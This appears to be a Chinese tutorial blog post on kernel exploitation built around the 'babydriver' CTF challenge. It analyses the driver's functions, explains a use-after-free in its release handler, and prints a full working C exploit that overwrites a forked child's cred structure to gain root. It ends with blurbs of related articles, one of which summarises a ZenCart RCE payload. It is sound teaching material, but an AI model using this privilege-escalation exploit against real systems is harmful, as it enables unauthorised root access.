Kernelpwn基础教学之KernelUAF"

admin 2026-10-22 13:10:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

Kernel pwn基础教学之Kernel UAF

蚁景网安

2026年10月19日 17:30
湖南

去阅读

以下文章来源于蚁景网络安全
,作者AmaIIl

蚁景网络安全
.

致力于为你带来更实用的网络安全技术内容!

前言

这边选择的例题是baby driver,感觉做这道题的时候有种梦回第一道栈溢出题目的感觉。但是网上很多资料讲解本题时关于字符驱动这块并没有讲解,也就造成了我一开始做这道题目的时候仅仅是照着网上的WP复现了一下并没有做到真正读懂这道题,所以这篇博客除了UAF的内容还会留出一些篇幅给字符驱动设备上。

1、题目分析

kernel pwn给出的附件不再是原先的Binary和libc,其附件中给出的文件如下所示

boot.sh     --> 启动脚本
rootfs.cpio --> 文件系统,可以从init文件中发现
bzImage     --> 压缩后的内核文件,可以使用extract_vmlinux+vmlinux_to_elf从中提取出vmlinux内核文件

首先我们解压rootfs.cpio,并查看init文件内容

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e \"\
Boot took $(cut -d' ' -f1 /proc/uptime) seconds\
\"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

可以看到在启动脚本里有一个加载模块的命令insmod,而这个ko文件就是我们需要分析的二进制文件。使用ida打开它可以看到里面的函数并不算多,咱们一个个来看。

babydriver\_init

首先使用alloc\_chrdev\_region函数动态获取了一个驱动号,然后初始化了cdev结构体,在linux中通过cdev结构体来表示一个字符设备,并使用cdev\_add函数添加(注册)了字符设备,执行成功后使用\_class\_create函数创建相应的class,然后通过device\_create函数添加设备。这里我一开始理解的时候存在一些疑问,既然在linux中是通过cdev来表示一个字符设备的,那么class存在的意义是什么?后来在查阅资料的过程中了解到linux中存在两种设备系统devfs与sysfs,而class的意义便是创建设备节点,sysfs通过class\_create和device\_create在设备树中创建相应的设备,应用层udev会自动根据设备树的变化生成相应的设备节点。在2.6版本以前的内核通过cdev\_init和cdev\_add添加字符设备以后需要手动创建设备节点,而现在则是通过使用\_class\_create与device\_create函数往sysfs中完成设备节点创建的任务。

与init对应的便是exit,这个函数的任务就是将我们刚才所创建的东西全部回收。

babyopen

通过kmem\_cache\_alloc\_trace函数开辟0x40的空间给babydev\_struct的device\_buf成员,在这里我们可以注意到babydev\_struct是一个全局变量,并且其中存在buf与buf\_len两个成员变量。

baby\_read

首先会判断device\_buf与device\_buf\_len,然后通过copy\_to\_usr函数将length长度的内容从device\_buf读入到buffer中

babywrite

通过copy\_from\_user函数将length长度的内容从buffer读入device\_buf

babyioctl

当我们指定的command为0x10001时会释放掉原先的buf,然后kmalloc申请指定大小的内存空间。

babyrelease

kfree释放buf但是没有置空存在UAF漏洞

三、漏洞利用

经过刚才的分析我们了解到结构体babydev\_struct结构体为全局变量,并且程序在close的时候没有置空指针,造成了UAF漏洞。所以我们可以在一个进程中同时open两次babydev分别记作fd1和fd2,此时device\_buf中的地址为fd2\_device\_buf的内存空间,而我们关闭fd1以后fd2的buf空间被释放,但是我们依然可以通过fd2进行写入。我们利用内核内存管理机制通过fork一个子进程时将cred落在fd2\_device\_buf上,fork出的子进程cred与父进程一致,当我们对fd2\_device\_buf进行写入操作也就是对子进程的cred进行操作。但是原始开辟的空间大小是0x40,所以我们在关闭fd1之前需要通过ioctl将device\_buf的大小改成和cred结构体大小一样,这样在我们fork一个子进程的时候cred便会落在我们可控的内存上,将子进程的uid修改为0即可完成提权。

EXP:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ioctl.h>

int main(){
 int fd_1 = open(\"/dev/babydev\", 2);
 int fd_2 = open(\"/dev/babydev\", 2);

 ioctl(fd_1, 0x10001, 0xa8);
 close(fd_1);

 int pid = fork();

if (pid < 0) {
  puts(\"[-] fork error.\");
exit(0);
 }
elseif (pid == 0) {
  char zero[32] = {0};
  write(fd_2, zero, sizeof(zero));
if (getuid() == 0) {
   puts(\"[+] root now.\");
   system(\"/bin/sh\");
  }
 }
else {
wait(NULL);
 }

 close(fd_2);
return 0;
}

写好exp以后进行静态编译,将其放到原先解压好的文件系统中,然后重新打包

find . | cpio -o --format=newc > rootfs.cpio

执行boot.sh启动qemu

学习网安实战技术,戳“阅读原文”

Kernelpwn基础教学之KernelUAF" 网络安全文章

Kernelpwn基础教学之KernelUAF"

本文以babydriver题目为例,系统讲解KernelUAF漏洞的利用方法。文章先分析启动脚本与驱动关键函数,指出release函数释放buf后未置空导致UAF漏洞。利用思路为通过ioctl修改buf大小为cred结构体大小,fork子进程使cred落在可控内存,写入零值完成提权。文章还补充了字符驱动设备基础,并提供完整EXP,可操作性强。
国家网信办开展未成年人用户数量巨大等网络平台服务提供者认定工作" 网络安全文章

国家网信办开展未成年人用户数量巨大等网络平台服务提供者认定工作"

国家网信办启动未成年人用户数量巨大及对未成年人群体具有显著影响的网络平台服务提供者认定工作,依据相关条例和办法,明确认定标准、申报方式、时限及材料要求。相关平台需在通知发布20个工作日内主动提交申报材料,并对材料真实性负责。此举旨在压实平台主体责任,强化未成年人网络保护。
行业认可|观安信息入选《2026中国网络安全市场全景图》多项核心领域" 网络安全文章

行业认可|观安信息入选《2026中国网络安全市场全景图》多项核心领域"

观安信息入选《2026中国网络安全市场全景图》8项一级类目及19项二级类目,覆盖安全运营、数据安全、云安全、物联网安全等核心领域,彰显其产品布局与综合实力。未来将深化数据安全、安全运营及AI安全研发,推动安全能力与业务场景融合,助力网络安全建设与数字经济发展。
同一个漏洞,两种payload:ZenCart零权限RCE的两次实战" 网络安全文章

同一个漏洞,两种payload:ZenCart零权限RCE的两次实战"

本文分析ZenCart2.2.2零权限RCE漏洞的两次实战,核心是zcConfigureFileWriter的注释注入链。攻击者无需任何凭据,通过installer_method参数注入PHP代码覆盖configure.php实现命令执行,CVSS9.8。文章重点剖析了同一漏洞需适配不同环境编写payload的坑:PHP8不认裸常量导致Fatalerror,以及addslashes转义引号破坏payload。作者给出两种绕过方案:用current(\\_GET)兼容PHP8,用整数键_GET1绕开引号
评论:0   参与:  0